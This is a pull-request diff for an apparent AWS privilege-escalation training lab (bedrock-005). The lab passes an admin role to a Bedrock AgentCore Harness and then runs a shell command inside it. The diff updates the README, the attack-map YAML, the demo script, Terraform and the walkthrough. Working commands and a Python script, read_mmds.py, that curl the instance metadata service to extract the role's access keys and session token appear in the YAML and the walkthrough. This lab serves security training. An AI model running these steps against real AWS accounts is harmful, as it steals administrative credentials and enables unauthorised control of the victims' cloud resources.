Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,8 @@ Your objective is to learn how to exploit a privilege escalation vulnerability t
- `bedrock-agentcore:CreateAgentRuntime` on `*` -- required internally by CreateHarness to provision the underlying Runtime
- `bedrock-agentcore:CreateAgentRuntimeEndpoint` on `*` -- required internally by CreateHarness to create an endpoint for the underlying Runtime
- `bedrock-agentcore:CreateWorkloadIdentity` on `*` -- required internally by CreateHarness to create the workload identity associated with the Runtime
- `bedrock-agentcore:GetAgentRuntime` on `*` -- poll the status of the underlying Runtime and confirm it reached READY state before invoking a command
- `bedrock-agentcore:GetAgentRuntime` on `*` -- required internally by CreateHarness to resolve the Runtime it provisions
- `bedrock-agentcore:GetHarness` on `*` -- poll the status of the Harness and confirm it reached READY state before invoking a command
- `bedrock-agentcore:InvokeAgentRuntimeCommand` on `*` -- execute a shell command inside the Harness's Firecracker MicroVM as root

**Helpful** (`pl-prod-bedrock-005-to-admin-starting-user`):
Expand All @@ -49,6 +50,7 @@ Your objective is to learn how to exploit a privilege escalation vulnerability t
brew install pathfinding-labs/tap/plabs
```
2. Configure your AWS profiles in `~/.plabs/plabs.yaml` (or run `plabs init` if you haven't already)
3. AWS CLI v2.35.7 or newer, which is the first release able to disable harness memory on `create-harness`

### Deploy with plabs non-interactive

Expand Down Expand Up @@ -89,8 +91,8 @@ The script will:
1. Display a step-by-step walkthrough with color-coded output
2. Retrieve starting user credentials from Terraform outputs
3. Create an AgentCore Harness passing the privileged target role as the execution role and specifying a foundation model ID
4. Extract the underlying Runtime ID from the CreateHarness response
5. Wait for the underlying Runtime to reach READY state by polling GetAgentRuntime
4. Extract the Harness ARN and Harness ID from the CreateHarness response
5. Wait for the Harness to reach READY state by polling GetHarness
6. Invoke a shell command inside the Harness MicroVM that reads MMDS credentials at 169.254.169.254
7. Extract AccessKeyId, SecretAccessKey, and Token from the MMDS response
8. Verify successful privilege escalation with `sts:GetCallerIdentity`
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -79,9 +79,11 @@ attackMap:
The iam:PassRole permission authorizes handing the privileged role to the new Harness.
CreateHarness internally calls CreateAgentRuntime, CreateAgentRuntimeEndpoint, and
CreateWorkloadIdentity to fully provision the underlying Runtime; all three permissions
must be present in the attacker's policy set for the API call to succeed. The response
includes the underlying agentRuntimeId. The attacker then polls GetAgentRuntime with
that runtime ID until the status reaches READY -- typically 1-3 minutes.
must be present in the attacker's policy set for the API call to succeed. Memory is
disabled on the call because the attack never uses the managed agent loop. The response
nests the new harness under a harness key carrying its arn and harnessId. The attacker
then polls GetHarness with that harness ID until the status reaches READY -- typically
1-3 minutes.
commands:
- description: "Get account ID and build the target role ARN"
command: |
Expand All @@ -91,35 +93,36 @@ attackMap:
command: |
HARNESS_RESPONSE=$(aws bedrock-agentcore-control create-harness \
--region us-east-1 \
--name bedrock-005-privesc-harness \
--harness-name bedrock-005-privesc-harness \
--execution-role-arn "$TARGET_ROLE_ARN" \
--model-id "amazon.nova-lite-v1:0")
HARNESS_ID=$(echo "$HARNESS_RESPONSE" | jq -r '.harnessId')
RUNTIME_ID=$(echo "$HARNESS_RESPONSE" | jq -r '.agentRuntimeId')
--model '{"bedrockModelConfig":{"modelId":"amazon.nova-micro-v1:0"}}' \
--memory '{"disabled":{}}')
HARNESS_ARN=$(echo "$HARNESS_RESPONSE" | jq -r '.harness.arn')
HARNESS_ID=$(echo "$HARNESS_RESPONSE" | jq -r '.harness.harnessId')
echo "Harness ARN: $HARNESS_ARN"
echo "Harness ID: $HARNESS_ID"
echo "Runtime ID: $RUNTIME_ID"
- description: "Poll until the underlying Runtime reaches READY state"
- description: "Poll until the Harness reaches READY state"
command: |
while true; do
STATUS=$(aws bedrock-agentcore-control get-agent-runtime \
STATUS=$(aws bedrock-agentcore-control get-harness \
--region us-east-1 \
--agent-runtime-id "$RUNTIME_ID" \
--query 'status' --output text)
--harness-id "$HARNESS_ID" \
--query 'harness.status' --output text)
echo "Status: $STATUS"
[ "$STATUS" = "READY" ] && break
sleep 15
done
hints:
- "CreateHarness is the Harness-specific equivalent of CreateAgentRuntime -- it wires a foundation model and managed agent layer on top of an underlying Runtime. You do not need a container image; specify a model ID instead. The executionRoleArn is the key field that makes this a privilege escalation."
- "After CreateHarness returns, extract the agentRuntimeId from the response and poll GetAgentRuntime until status reaches READY before calling InvokeAgentRuntimeCommand. Initialization typically takes 1-3 minutes."
- "After CreateHarness returns, extract .harness.arn and .harness.harnessId from the response and poll GetHarness until status reaches READY before calling InvokeAgentRuntimeCommand. Initialization typically takes 1-3 minutes."
- "Browse to https://pathfinding.cloud/paths/bedrock-005 for technique details."

- from: agentcore-harness
to: target-role
label: "bedrock-agentcore:InvokeAgentRuntimeCommand"
description: >
With the underlying Runtime in READY state, the attacker calls InvokeAgentRuntimeCommand
using the Runtime ID (not the Harness ID) with a bash command that reads temporary
With the Harness in READY state, the attacker calls InvokeAgentRuntimeCommand with the
harness ARN as the agentRuntimeArn and a bash command that reads temporary
credentials from MMDS. The command requests an IMDSv2 token, then uses it to fetch
the execution role name from the MMDS security-credentials path, and finally retrieves
the full credential JSON (AccessKeyId, SecretAccessKey, Token) for the target admin
Expand All @@ -129,12 +132,27 @@ attackMap:
commands:
- description: "Invoke a shell command to read MMDS credentials from the Harness MicroVM"
command: |
CREDS=$(aws bedrock-agentcore invoke-agent-runtime-command \
--region us-east-1 \
--agent-runtime-id "$RUNTIME_ID" \
--command 'TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60"); ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/); curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE' \
--query 'output' \
--output text)
cat > read_mmds.py <<'EOF'
import boto3, sys, uuid

BASH_COMMAND = """bash -c '
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
'"""

client = boto3.client("bedrock-agentcore", region_name="us-east-1")
response = client.invoke_agent_runtime_command(
agentRuntimeArn=sys.argv[1],
runtimeSessionId=str(uuid.uuid4()),
body={"command": BASH_COMMAND, "timeout": 30},
)
for event in response["stream"]:
chunk = event.get("chunk", {})
if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]:
print(chunk["contentDelta"]["stdout"], end="")
EOF
CREDS=$(python3 read_mmds.py "$HARNESS_ARN")
echo "$CREDS"
- description: "Export the extracted credentials"
command: |
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -189,6 +189,19 @@ if [ $? -ne 0 ]; then
exit 1
fi
echo -e "${GREEN}✓ boto3 is installed (botocore ${BOTOCORE_VERSION})${NC}"

# The AgentCore Harness control plane APIs reached the AWS CLI in v2.34.35, and the
# memory "disabled" option this scenario passes to create-harness reached it in v2.35.7.
# The skeleton lists the members of the memory union, so it doubles as a capability
# probe: it runs locally, calls no API and covers both the missing-operation case and
# the older-model case, which otherwise fails with an opaque parameter validation error.
AWSCLI_VERSION=$(aws --version 2>&1 | awk '{print $1}' | cut -d/ -f2)
if ! aws bedrock-agentcore-control create-harness --generate-cli-skeleton 2>/dev/null | grep -q '"disabled"'; then
echo -e "${RED}Error: AWS CLI ${AWSCLI_VERSION} cannot disable harness memory (need >= 2.35.7)${NC}"
echo "Please upgrade: https://docs.aws.amazon.com/cli/latest/userguide/getting-started-install.html"
exit 1
fi
echo -e "${GREEN}✓ AWS CLI supports disabling harness memory (${AWSCLI_VERSION})${NC}"
echo ""

# [EXPLOIT] Step 3: Configure AWS credentials with starting user and verify identity
Expand Down Expand Up @@ -243,7 +256,7 @@ echo "available via MMDS at 169.254.169.254. InvokeAgentRuntimeCommand can then
echo "bash inside the MicroVM and read those credentials without ever invoking the model."
echo ""

show_attack_cmd "Attacker" "aws bedrock-agentcore-control create-harness --region $AWS_REGION --harness-name $HARNESS_NAME --execution-role-arn $TARGET_ROLE_ARN --model '{\"bedrockModelConfig\":{\"modelId\":\"$MODEL_ID\"}}'"
show_attack_cmd "Attacker" "aws bedrock-agentcore-control create-harness --region $AWS_REGION --harness-name $HARNESS_NAME --execution-role-arn $TARGET_ROLE_ARN --model '{\"bedrockModelConfig\":{\"modelId\":\"$MODEL_ID\"}}' --memory '{\"disabled\":{}}'"

# Set HARNESS_ARN sentinel before the API call so the trap fires even if the script is
# killed between the call succeeding and our response-parsing code running.
Expand Down Expand Up @@ -304,7 +317,7 @@ use_starting_creds
export AWS_REGION=$AWS_REGION

while [ $ELAPSED -lt $MAX_WAIT ]; do
show_cmd "Attacker" "aws bedrock-agentcore-control get-harness --harness-id $HARNESS_ID --region $AWS_REGION --query 'status' --output text"
show_cmd "Attacker" "aws bedrock-agentcore-control get-harness --harness-id $HARNESS_ID --region $AWS_REGION --query 'harness.status' --output text"
RUNTIME_STATUS=$(aws bedrock-agentcore-control get-harness \
--harness-id "$HARNESS_ID" \
--region "$AWS_REGION" \
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -92,18 +92,11 @@ resource "aws_iam_user_policy" "starting_user_policy" {
Effect = "Allow"
Action = [
# CreateHarness is the top-level API; AWS internally sequences the
# sub-calls below to provision the Runtime infrastructure and memory.
# sub-calls below to provision the Runtime infrastructure.
"bedrock-agentcore:CreateHarness",
"bedrock-agentcore:CreateAgentRuntime",
"bedrock-agentcore:CreateAgentRuntimeEndpoint",
"bedrock-agentcore:CreateWorkloadIdentity",
# CreateMemory and GetMemory are required even though this scenario
# disables memory via `--memory '{"disabled":{}}'` on CreateHarness
# (that flag IS exposed by the CLI/API, not console-only). AWS's own
# IAM permissions table for CreateHarness lists CreateMemory as
# unconditionally required regardless of the memory mode requested.
"bedrock-agentcore:CreateMemory",
"bedrock-agentcore:GetMemory",
# GetAgentRuntime and GetHarness are called internally by CreateHarness
# to poll the underlying runtime it provisions, and by the demo to wait
# until the harness reaches READY before invoking it.
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -60,6 +60,8 @@ permissions:
resource: "*"
- permission: "bedrock-agentcore:GetAgentRuntime"
resource: "*"
- permission: "bedrock-agentcore:GetHarness"
resource: "*"
- permission: "bedrock-agentcore:InvokeAgentRuntimeCommand"
resource: "*"

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -75,40 +75,37 @@ The attack has three steps: create the Harness with the privileged execution rol

### Step 1: Create the AgentCore Harness with the Privileged Role

Create the Harness using your starting user credentials. The `executionRoleArn` is what makes this attack work — you are passing the target admin role to the Harness, and `iam:PassRole` is what authorizes this. No container image is needed:
Create the Harness using your starting user credentials. The `executionRoleArn` is what makes this attack work — you are passing the target admin role to the Harness, and `iam:PassRole` is what authorizes this. No container image is needed, and memory is disabled because the attack never uses the managed agent loop:

```bash
HARNESS_RESPONSE=$(aws bedrock-agentcore-control create-harness \
--region us-east-1 \
--harness-name bedrock-005-privesc-harness \
--execution-role-arn "$TARGET_ROLE_ARN" \
--model "{\"bedrockModelConfig\":{\"modelId\":\"amazon.nova-micro-v1:0\"}}" \
--memory '{"disabled":{}}' \
--output json)

HARNESS_ARN=$(echo "$HARNESS_RESPONSE" | jq -r '.harnessArn')
echo "Harness ARN: $HARNESS_ARN"
```

The `harnessArn` contains the underlying runtime ID embedded in its path:
`arn:aws:bedrock-agentcore:<region>:<account>:runtime/<runtime-id>/harness/<harness-id>`

Extract the runtime ID for polling:
The response nests the harness under a `harness` key. Keep both the ARN and the ID: the ARN is what you invoke, the ID is what you poll.

```bash
RUNTIME_ID=$(echo "$HARNESS_ARN" | sed 's|.*/runtime/\([^/]*\)/harness/.*|\1|')
echo "Runtime ID: $RUNTIME_ID"
HARNESS_ARN=$(echo "$HARNESS_RESPONSE" | jq -r '.harness.arn')
HARNESS_ID=$(echo "$HARNESS_RESPONSE" | jq -r '.harness.harnessId')
echo "Harness ARN: $HARNESS_ARN"
echo "Harness ID : $HARNESS_ID"
```

### Step 2: Wait for READY State

The Harness provisions an underlying Runtime that needs 2–5 minutes to initialize. Poll `GetAgentRuntime` until the status reaches `READY`:
The Harness provisions an underlying Runtime that needs 2–5 minutes to initialize. Poll `GetHarness` until the status reaches `READY`:

```bash
while true; do
STATUS=$(aws bedrock-agentcore-control get-agent-runtime \
STATUS=$(aws bedrock-agentcore-control get-harness \
--region us-east-1 \
--agent-runtime-id "$RUNTIME_ID" \
--query 'status' --output text)
--harness-id "$HARNESS_ID" \
--query 'harness.status' --output text)
echo "Status: $STATUS"
[ "$STATUS" = "READY" ] && break
sleep 15
Expand All @@ -119,20 +116,38 @@ Once you see `READY`, the MicroVM is running and MMDS is serving credentials for

### Step 3: Invoke a Shell Command to Steal MMDS Credentials

Call `InvokeAgentRuntimeCommand` with a bash one-liner that reads temporary credentials from MMDS. The Harness ARN can be used directly as the `agentRuntimeArn` — it routes the command into the underlying Runtime's MicroVM. The flow mirrors EC2 IMDSv2: first request a session token with a PUT, then use it to fetch the role name and the credential JSON:
Call `InvokeAgentRuntimeCommand` with a bash command that reads temporary credentials from MMDS. The Harness ARN can be used directly as the `agentRuntimeArn` — it routes the command into the underlying Runtime's MicroVM. The flow mirrors EC2 IMDSv2: first request a session token with a PUT, then use it to fetch the role name and the credential JSON. The response is an event stream, so read it with the SDK and reassemble the `stdout` content deltas. Save this as `read_mmds.py`:

```bash
TARGET_ROLE_SHORT=$(basename "$TARGET_ROLE_ARN")
```python
import boto3, sys, uuid

CREDS=$(aws bedrock-agentcore invoke-agent-runtime-command \
--region us-east-1 \
--agent-runtime-arn "$HARNESS_ARN" \
--command bash \
--command-arguments '["-c", "TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H \"X-aws-ec2-metadata-token-ttl-seconds: 60\"); curl -s -H \"X-aws-ec2-metadata-token: $TOKEN\" http://169.254.169.254/latest/meta-data/iam/security-credentials/'"$TARGET_ROLE_SHORT"'"]' \
--output json)
BASH_COMMAND = """bash -c '
TOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token -H "X-aws-ec2-metadata-token-ttl-seconds: 60")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
'"""

client = boto3.client("bedrock-agentcore", region_name="us-east-1")
response = client.invoke_agent_runtime_command(
agentRuntimeArn=sys.argv[1],
runtimeSessionId=str(uuid.uuid4()),
body={"command": BASH_COMMAND, "timeout": 30},
)

for event in response["stream"]:
chunk = event.get("chunk", {})
if "contentDelta" in chunk and "stdout" in chunk["contentDelta"]:
print(chunk["contentDelta"]["stdout"], end="")
```

Run it with the Harness ARN:

```bash
CREDS=$(python3 read_mmds.py "$HARNESS_ARN")
echo "$CREDS"
```

The response is a streaming JSON object. Parse the `stdout` content delta chunks to reassemble the credentials JSON:
It prints the credentials JSON for the target admin role:

```json
{
Expand Down